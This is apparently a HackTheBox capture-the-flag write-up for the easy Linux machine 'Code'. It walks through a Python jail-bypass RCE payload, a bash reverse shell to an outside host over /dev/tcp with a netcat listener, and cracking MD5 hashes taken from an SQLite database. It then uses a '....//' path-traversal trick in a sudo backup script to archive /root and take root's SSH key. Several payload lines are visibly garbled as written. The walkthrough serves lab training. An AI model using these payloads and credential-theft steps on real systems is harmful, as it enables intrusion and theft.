Code Writeup

0x5t
0x5t avatar
Security Researcher
Team: RaptX
Posts: --
Joined: 2024
Posted:  |  Tags: HackTheBox, Linux, RCE, Python Jail Bypass, Command Injection

A writeup for the HackTheBox machine "Code," an easy Linux box. The initial foothold is a remote code execution vulnerability in a Python code editor web application. The privilege escalation involves cracking user credentials from an SQLite database and then exploiting a command injection vulnerability in a sudo-enabled backup script to read the root flag.


Quick Metadata

Item Value
Machine Code
Difficulty Easy
IP 10.10.10.10
OS Linux
Primary Vulns RCE, Command Injection

Exploitation Chain (High-Level)

  1. Web enumeration reveals a Python code editor.
  2. Exploit a Python jail bypass to achieve RCE and get an app-production shell.
  3. Discover and crack user hashes from an SQLite database.
  4. Use a cracked password to SSH as user martin.
  5. Exploit a command injection vulnerability in a sudo-enabled script to read the root flag and get a root shell.

Pre-Reqs

  • Tooling: nmap, sqlite3, hashcat, ssh, jq
  • Skills: Web enumeration, Python scripting, hash cracking, file permissions, command injection

Skills Required

  • Basic Enumeration
  • Python Scripting
  • Hash Cracking

Skills Learned

  • Python Jail Bypass
  • Command Injection
  • backy.sh script analysis

Enumeration

Network Scan

The initial Nmap scan reveals two open ports: SSH on 22 and an HTTP service on 5000. The web service is running Gunicorn 20.0.4 and hosts a "Python Code Editor."

Ports discovered:

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http     Gunicorn 20.0.4

Nmap Commands

nmap -Pn -sC -sV -oN scans/initial.nmap 10.10.10.10

Add the target's domain to the /etc/hosts file to simplify web enumeration.

echo "10.10.10.10 code.htb" | sudo tee -a /etc/hosts

Web Enumeration (if applicable)

Visiting http://code.htb:5000 shows a Python Code Editor. The application allows users to write and run Python code in a sandboxed environment. There are also options to register, log in, and save code.

Key observations:

  • The website is a Python Code Editor.
  • The Run function attempts to execute user-provided Python code.

Service-Specific Enumeration

No other services were found. The focus is on the web application on port 5000.

Credentials / Artifacts Discovered

Stage Credential / Token Usage
Lateral development:development DB entry, not used on machine
Lateral martin:nafeelswordsmaster SSH login

Foothold

Initial Vulnerability (e.g., LFI / RCE / File Upload / SQLi)

Attempting to use import os or os.system() in the code editor is blocked by a filter that prevents the use of restricted keywords. A Python Jail Bypass technique is required to achieve remote code execution. The bypass involves using Python's object introspection to access the os.system function without using the import or os keywords directly.

The payload uses _subclasses_() to find the Quitter class, then accesses sys.modules through its _init_ method, and finally retrieves os.system using string concatenation to bypass the keyword filter.

[w for win 1._ class _ base _ subclasses_() if w._name__ =='Quitter'][0]._init_globals_['sy'+'s'].modules['o'+'s']._dict_['sy'+'stem']('whoami')

This command doesn't return output to the web page, so the output is redirected to a Netcat listener.

## Listener
nc -lvnp 9001
[w for win 1._ class _ base _ subclasses_ () if w._ name=='Quitter'][0]._init_globals_ ['sy'+'s'].modules['o'+'s']._dict_ ['sy'+'stem']('whoami > /dev/tcp/11.11.11.11/9001 0>&1')

The listener receives the output, confirming code execution as the app-production user.

Shell Stabilization

A reverse shell is obtained using the same Python jail bypass method.

## Listener
nc -lvnp 9001
## Trigger
[w for win 1._ class _ base_subclasses_() if w._ name=='Quitter'][0]._init_globals_['sy'+'s'].modules['o'+'s']._dict_['sy'+'stem']('bash -c "bash -i >& /dev/tcp/11.11.11.11/9001 0>&1"')

Result: shell as app-production.


Lateral Movement

Enumeration as Low-Priv User

A search for configuration files or databases in the app-production user's home directory reveals a database.db SQLite file inside the ~/app/instance folder.

app-production@code:~/app/instance$ ls -la
total 24
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:32 .
drwxrwxr-x 6 app-production app-production 4096 Feb 20 12:10 ..
-rw-r--r-- 1 app-production app-production 16384 Jun 13 10:30 database.db

Credential Harvest / Reuse

The database.db file is an SQLite database containing user information. Extracting the hashes from the user table reveals two users: development and martin.

app-production@code:~/app/instance$ sqlite3 database.db
sqlite> .tables
code user
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

The hashes are MD5. They are cracked using hashcat with a wordlist.

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat reveals the credentials:

  • development:development
  • martin:nafeelswordsmaster

Pivot Technique (e.g., SSH Key, Pass-the-Hash, WinRM)

A check of the /etc/passwd file shows that martin is a valid system user. The discovered password nafeelswordsmaster can be used to log in via SSH.

ssh [email protected]
[email protected]'s password: nafeelswordsmaster

Privilege Escalation

Vector 1: Command Injection

As the martin user, running sudo -l shows that the user can execute /usr/bin/backy.sh with NOPASSWD.

martin@code:~$ sudo -l
User martin may run the following commands on localhost:
 (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

An analysis of backy.sh reveals a command injection vulnerability. The script uses jq to sanitize directory paths, specifically removing ../ substrings. However, it's not a recursive replacement. This allows a path traversal bypass by using ....//, which becomes ../ after the first sanitization pass, allowing the script to access forbidden directories.

The following task.json is crafted to archive the /root directory.

{
"destination": "/tmp",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root/"
]
}

The script is executed with sudo, and it successfully creates an archive of the root directory in /tmp.

martin@code:~/backups$ sudo /usr/bin/backy.sh task.json

The tar archive is extracted in /tmp.

martin@code:/tmp$ tar -xvf code_home_.._root_2025_June.tar.bz2

The extracted root directory now contains all files from /root, accessible to martin.

Post-Exploitation (Hashes / Loot)

The extracted /tmp/root directory contains the root flag and the root user's SSH private key. This key can be used to get a root shell.

martin@code:/tmp/root$ cat .ssh/id_rsa

The private key is copied to the attacker machine, permissions are set, and it is used to log in as root.

chmod 600 root.key
ssh -i root.key [email protected]

Root Flag

The root flag is located in /root/root.txt.

root@code:/root# cat root.txt

Hash / Flag: {REDACTED}


Summary

  1. Recon: Discovered a Python Code Editor web application on port 5000.
  2. Foothold: Bypassed a Python sandbox using string concatenation and object introspection to achieve RCE and get a shell as app-production.
  3. Lateral: Found and cracked MD5 password hashes in an SQLite database, leading to SSH access as the user martin.
  4. Privilege Escalation: Exploited a non-recursive path traversal vulnerability in a sudo-enabled backy.sh script to archive the /root directory.
  5. Domination: Extracted the root SSH key from the archive and used it to log in as root.

Lessons Learned

  • Python's object model can be abused to bypass keyword filters in sandboxes.
  • Non-recursive string replacement functions can be bypassed with clever encoding.
  • Always check for credentials in application databases.

Contents